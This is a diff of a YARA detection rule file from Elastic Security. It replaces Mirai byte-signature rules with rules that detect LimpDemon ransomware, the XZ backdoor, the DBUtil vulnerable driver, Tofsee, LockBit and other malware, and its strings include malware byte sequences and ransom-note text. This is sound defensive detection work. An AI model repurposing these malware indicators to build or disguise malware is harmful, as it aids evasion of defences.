-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1722-L1740"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0755f1f974734ccd4ecc444217bf52ed306d1dc32c05841ba9ca6d259e1a147e"
+		id = "95c748e0-e2f5-4997-a69d-dbc8885e6f18"
+		date = "2023-07-27"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_LimpDemon.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4200e90a821a2f2eb3056872f06cf5b057be154dcc410274955b2aaca831651"
+		logic_hash = "e66906725c0af657d91771642908ac0b2c72a97c4d4f651dcc907c2c1437f2da"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b32b42975297aed7cef72668ee272a5cfb753dce7813583f0c3ec91e52f8601f"
+		fingerprint = "20527c2e0d2e577c17da7184193ba372027cedb075f78bb75aff9d218c2d660b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -70836,27 +75208,31 @@ rule ELASTIC_Linux_Trojan_Mirai_88A1B067 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 00 00 55 89 E5 0F B6 55 08 0F B6 45 0C C1 E2 18 C1 E0 10 }
+		$a1 = "[-] You have to pass access key to start process" fullword
+		$a2 = "[+] Shutting down VMWare ESXi servers..." fullword
+		$a3 = "%s --daemon (start as a service)" fullword
+		$a4 = "%s --access-key <key> (key for decryption config)" fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_76Bbc4Ca : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xzbackdoor_74E87A9D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Xzbackdoor (Linux.Trojan.XZBackdoor)"
 		author = "Elastic Security"
-		id = "76bbc4ca-e6da-40f7-8ba6-139ec8393f35"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "1a9ff86a66d417678c387102932a71fd879972173901c04f3462de0e519c3b51"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1742-L1760"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "855b7938b92b5645fcefd2ec1e2ccb71269654816f362282ccbf9aef1c01c8a0"
+		id = "74e87a9d-11c1-4e86-bb3c-63a3c51c50df"
+		date = "2024-03-30"
+		modified = "2024-04-03"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_XZBackdoor.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
+		logic_hash = "c777171c36d9369ade7bf44c7cc4e5aee16bb4c803431bc480cc0f8ebb2819c0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4206c56b538eb1dd97e8ba58c5bab6e21ad22a0f8c11a72f82493c619d22d9b7"
+		fingerprint = "6ec0ee53f66167f7f2bbe5420aa474681701ed8f889aaad99e3990ecc4fb6716"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -70864,144 +75240,149 @@ rule ELASTIC_Linux_Trojan_Mirai_76Bbc4Ca : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 10 40 2D E9 00 40 A0 E1 28 20 84 E2 0C 00 92 E8 3B F1 FF EB }
+		$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
+		$a2 = { 0A 31 FD 3B 2F 1F C6 92 92 68 32 52 C8 C1 AC 28 34 D1 F2 C9 75 C4 76 5E B1 F6 88 58 88 93 3E 48 10 0C B0 6C 3A BE 14 EE 89 55 D2 45 00 C7 7F 6E 20 D3 2C 60 2B 2C 6D 31 00 }
+		$b1 = { 48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89 C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2 }
+		$b2 = { 31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24 48 4D 89 CE F3 AB 48 8D 44 24 48 }
+		$b3 = { 4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1 FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07 }
 
 	condition:
-		all of them
+		1 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_0Bfc17Bd : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Dbutil_Ffe07C79 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Vulndriver Dbutil (Windows.VulnDriver.DBUtil)"
 		author = "Elastic Security"
-		id = "0bfc17bd-49bb-4721-9653-0920b631b1de"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "ffe07c79-d97b-43ba-92b9-206bb4c7bdd4"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1762-L1780"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1cdd94f2a1cb2b93134646c171d947e325a498f7a13db021e88c05a4cbb68903"
-		logic_hash = "ef83bc9ae3c881d09b691db42a1712b500a5bb8df34060a6786cfdc6caaf5530"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_DBUtil.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "87e38e7aeaaaa96efe1a74f59fca8371de93544b7af22862eb0e574cec49c7c3"
+		logic_hash = "18b1c93c395b105f446b4c968441e0a43e42b1bd7efcf6501a89eb92cbd21824"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d67e4e12e74cbd31037fae52cf7bad8d8d5b4240d79449fa1ebf9a271af008e1"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "16c22aba1e8c677cc22d3925dd7416a3c55c67271940289936a2cdc199a53798"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 54 24 64 0F CD 48 8D 14 52 41 0F B6 4C D7 14 D3 E8 01 C5 83 7C 24 }
+		$str1 = "\\DBUtilDrv2_32.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Trojan_Mirai_389Ee3E9 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Dbutil_852Ba283 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Vulndriver Dbutil (Windows.VulnDriver.DBUtil)"
 		author = "Elastic Security"
-		id = "389ee3e9-70c1-4c93-a999-292cf6ff1652"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "852ba283-6a03-44b6-b7e2-b00d1b0586e4"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1782-L1800"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f"
-		logic_hash = "fedeae98d468a11c3eaa561b9d5433ec206bdd4caed5aed7926434730f7f866b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_DBUtil.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
+		logic_hash = "78acd081c2517f9c53cb311481c0cc40cc3699b222afc290da1a3698e7bf75b7"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "aec919dfea62a8ed01dde4e8c63fbfa9c2a9720c144668460c00f56171c8db25"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83 }
+		$str1 = "\\DBUtilDrv2_64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Trojan_Mirai_Cc93863B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Tofsee_26124Fe4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Tofsee (Windows.Trojan.Tofsee)"
 		author = "Elastic Security"
-		id = "cc93863b-1050-40ba-9d02-5ec9ce6a3a28"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "26124fe4-f2a1-4fc9-8155-585b581476de"
+		date = "2022-03-31"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1802-L1820"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f"
-		logic_hash = "881998dee010270d7cefae5b59a888e541d4a2b93e3e52ae0abe0df41371c50d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Tofsee.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494"
+		logic_hash = "e765953dec7c7b2a1fbebf92c2fff46453c8258722ad5ca92ba4c7526a8b0c66"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac"
+		fingerprint = "dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08 }
+		$a = { 55 8B EC 8B 45 ?? 57 8B 7D ?? B1 01 85 FF 74 ?? 56 8B 75 ?? 2B F0 8A 14 06 32 55 ?? 88 10 8A D1 02 55 ?? F6 D9 00 55 ?? 40 4F 75 ?? 5E 8B 45 ?? 5F 5D C3 }
+		$b = { 8B 44 24 ?? 53 8A 18 84 DB 74 ?? 8B D0 2B 54 24 ?? 8B 4C 24 ?? 84 DB 74 ?? 8A 19 84 DB 74 ?? 38 1C 0A 75 ?? 41 80 3C 0A 00 75 ?? 80 39 00 74 ?? 40 8A 18 42 84 DB 75 ?? 33 C0 5B C3 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_8Aa7B5D3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Garble_Eae7F2F7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Trojan Garble (Windows.Trojan.Garble)"
 		author = "Elastic Security"
-		id = "8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "eae7f2f7-49b3-427c-9cf3-cce64d772c78"
+		date = "2022-06-08"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1822-L1840"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f"
-		logic_hash = "3c99b7b126184b75802c7198c81f4783af776920edc6e964dbe726d28d88f64d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Garble.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4820a1ec99981e03675a86c4c01acba6838f04945b5f753770b3de4e253e1b8c"
+		logic_hash = "5d88579b0f0f71b8b4310c141fb243f39696e158227da0a1e0140b030b783c65"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444"
+		fingerprint = "b72b8d475ef50a5e703d741f195d8ce0916f46ee5744c5bc7c8d452ab23df388"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88 }
+		$a = ".\"G!-$G#-&J%.(G'-*G)-,J+..G--0G/-2J1.4G3-6G5-8J7.:G9-<G;->J=+@A?-BAA*DAC*FAE*HFG+JAI-LAK*NAM*PAO*RFQ+TAS-VAU9"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_76908C99 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Backconnect_C6803B39 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Backconnect (Linux.Trojan.Backconnect)"
 		author = "Elastic Security"
-		id = "76908c99-e350-4dbb-9559-27cbe05f55f9"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "c6803b39-e2e0-4ab8-9ead-e53eab26bb53"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1842-L1860"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "533a90959bfb337fd7532fb844501fd568f5f4a49998d5d479daf5dfbd01abb2"
-		logic_hash = "bd8254e888b1ea93ca9aad92ea2c8ece1f2d03ae2949ca4c3743b6e339ee21e0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Backconnect.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a5e6b084cdabe9a4557b5ff8b2313db6c3bb4ba424d107474024030115eeaa0f"
+		logic_hash = "02750b2788c2912bba0fc8594f6a12c75ce1f41d1075acf7c920f6e616ab65c7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1741b0c2121e3f73bf7e4f505c4661c95753cbf7e0b7a1106dc4ea4d4dd73d6c"
+		fingerprint = "1dfb097c90b0cf008dc9d3ae624e08504755222f68ee23ed98d0fa8803cff91a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71009,144 +75390,152 @@ rule ELASTIC_Linux_Trojan_Mirai_76908C99 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 64 24 F8 48 89 04 24 48 8B C6 48 8B 34 24 48 87 CF 48 8B 4C }
+		$a = { 78 3A 48 98 48 01 C3 49 01 C5 48 83 FB 33 76 DC 31 C9 BA 10 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_1538Ce1A : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Dcom_7A1Bcec7 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Exploit Dcom (Windows.Exploit.Dcom)"
 		author = "Elastic Security"
-		id = "1538ce1a-7078-4be3-bd69-7e692a1237f5"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "7a1bcec7-e177-4adf-97a7-0d876bf65abc"
+		date = "2021-01-12"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1862-L1880"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2382996a8fd44111376253da227120649a1a94b5c61739e87a4e8acc1130e662"
-		logic_hash = "cf2dd11da520640c6a64e05c4679072a714d8cf93d5f5aa3a1eca8eb3e9c8b3b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_Dcom.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "84073caf71d0e0523adeb96169c85b8f0bfea09e7ef3bf677bfc19d3b536d8a5"
+		logic_hash = "484576ab5369f99dc7086d724ead12d464f2bedaf84c93b74e137ddd98600b06"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f3d82cae74db83b7a49c5ec04d1a95c3b17ab1b935de24ca5c34e9b99db36803"
+		quality = 73
+		tags = "FILE"
+		fingerprint = "0abae84599e490056412d5a5ce1868ea118551243377d59cbb6ebd83701769b8"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FD 00 00 00 FD 34 FD FD 04 40 FD 04 FD FD 7E 14 FD 78 14 1F 0F }
+		$a = { 20 62 79 20 46 6C 61 73 68 53 6B 79 20 61 6E 64 20 42 65 6E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_07B1F4F6 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Lockbit_89E64044 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Ransomware Lockbit (Windows.Ransomware.Lockbit)"
 		author = "Elastic Security"
-		id = "07b1f4f6-9324-48ab-9086-b738fdaf47c3"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "89e64044-74e4-4679-b6ad-bfb9b264330c"
+		date = "2021-08-06"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1882-L1900"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2382996a8fd44111376253da227120649a1a94b5c61739e87a4e8acc1130e662"
-		logic_hash = "4af1a20e29e0c9b62e1530031e49a3d7b37d4e9a547d89a270a2e59e0c7852cc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Lockbit.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d"
+		logic_hash = "bd504b078704b9f307a50c8556c143eee061015a9727670137aadc47ae93e2a6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bebafc3c8e68b36c04dc9af630b81f9d56939818d448759fdd83067e4c97e87a"
+		fingerprint = "ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FD 08 FD 5C 24 48 66 FD 07 66 FD 44 24 2E 66 FD FD 08 66 FD 47 }
+		$a1 = "\\LockBit_Ransomware.hta" wide fullword
+		$a2 = "\\Registry\\Machine\\Software\\Classes\\Lockbit\\shell" wide fullword
+		$a3 = "%s\\%02X%02X%02X%02X.lock" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Feaa98Ff : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Lockbit_A1C60939 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Ransomware Lockbit (Windows.Ransomware.Lockbit)"
 		author = "Elastic Security"
-		id = "feaa98ff-6cd9-40bb-8c4f-ea7c79b272f3"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "a1c60939-e257-420d-87ed-f31f30f2fc2a"
+		date = "2021-08-06"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1902-L1920"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2382996a8fd44111376253da227120649a1a94b5c61739e87a4e8acc1130e662"
-		logic_hash = "06be9d8bcfcb7e6b600103cf29fa8a94a457ff56e8c7018336c270978a57ccbf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Lockbit.yar#L23-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d"
+		logic_hash = "6e6d88251e93f69788ad22fc915133f3ba0267984d6a5004d5ca44dcd9f5f052"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0bc8ba390a11e205624bc8035b1d1e22337a5179a81d354178fa2546c61cdeb0"
+		fingerprint = "a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F FD FD FD FD FD FD 7A 03 41 74 5E 42 31 FD FD 6E FD FD FD FD }
+		$a1 = { 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_3Acd6Ed4 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Lockbit_369E1E94 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Windows Ransomware Lockbit (Windows.Ransomware.Lockbit)"
 		author = "Elastic Security"
-		id = "3acd6ed4-6d62-47af-8d80-d5465abce38a"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "369e1e94-3fbb-4828-bb78-89d26e008105"
+		date = "2022-07-05"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1922-L1940"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2644447de8befa1b4fe39b2117d49754718a2f230d6d5f977166386aa88e7b84"
-		logic_hash = "ab284d41af8e1920fa54ac8bfab84bac493adf816aebce60490ab22c0e502201"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Lockbit.yar#L43-L67"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee"
+		logic_hash = "c34dafc024d85902b85fc3424573abb8781d6fab58edd86c255266db3635ce98"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e787989c37c26d4bb79c235150a08bbf3c4c963e2bc000f9a243a09bbf1f59cb"
+		fingerprint = "9cf4c112c0ee708ae64052926681e8351f1ccefeb558c41e875dbd9e4bdcb5f2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E5 7E 44 4C 89 E3 31 FF 48 C1 E3 05 48 03 5D 38 48 89 2B 44 88 }
+		$a1 = { 66 83 F8 61 72 ?? 66 83 F8 66 77 ?? 66 83 E8 57 EB ?? 66 83 F8 30 72 ?? 66 83 F8 39 77 ?? 66 83 E8 30 EB ?? }
+		$a2 = { 8B EC 53 56 57 33 C0 8B 5D ?? 33 C9 33 D2 8B 75 ?? 8B 7D ?? 85 F6 74 ?? 55 8B 6D ?? 8A 54 0D ?? 02 D3 8A 5C 15 ?? 8A 54 1D ?? }
+		$a3 = { 53 51 6A ?? 58 0F A2 F7 C1 ?? ?? ?? ?? 0F 95 C0 84 C0 74 ?? 0F C7 F0 0F C7 F2 59 5B C3 6A ?? 58 33 C9 0F A2 F7 C3 ?? ?? ?? ?? 0F 95 C0 84 C0 74 ?? 0F C7 F8 0F C7 FA 59 5B C3 0F 31 8B C8 C1 C9 ?? 0F 31 8B D0 C1 C2 ?? 8B C1 59 5B C3 }
+		$b1 = { 6D 00 73 00 65 00 78 00 63 00 68 00 61 00 6E 00 67 00 65 00 00 00 73 00 6F 00 70 00 68 00 6F 00 73 00 }
+		$b2 = "LockBit 3.0 the world's fastest and most stable ransomware from 2019" ascii fullword
+		$b3 = "http://lockbit"
+		$b4 = "Warning! Do not delete or modify encrypted files, it will lead to problems with decryption of files!" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_Eb940856 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xpaj_Fdbd614E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Cryptominer Xpaj (Linux.Cryptominer.Xpaj)"
 		author = "Elastic Security"
-		id = "eb940856-60d2-4148-9126-aac79a24828e"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "fdbd614e-e628-43ff-86d4-1057f9d544ac"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1942-L1960"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fbf814c04234fc95b6a288b62fb9513d6bbad2e601b96db14bb65ab153e65fef"
-		logic_hash = "d7bb2373a35ea97a11513e80e9a561f53a8f0b9345f392e8e7f042d4cb2d7d20"
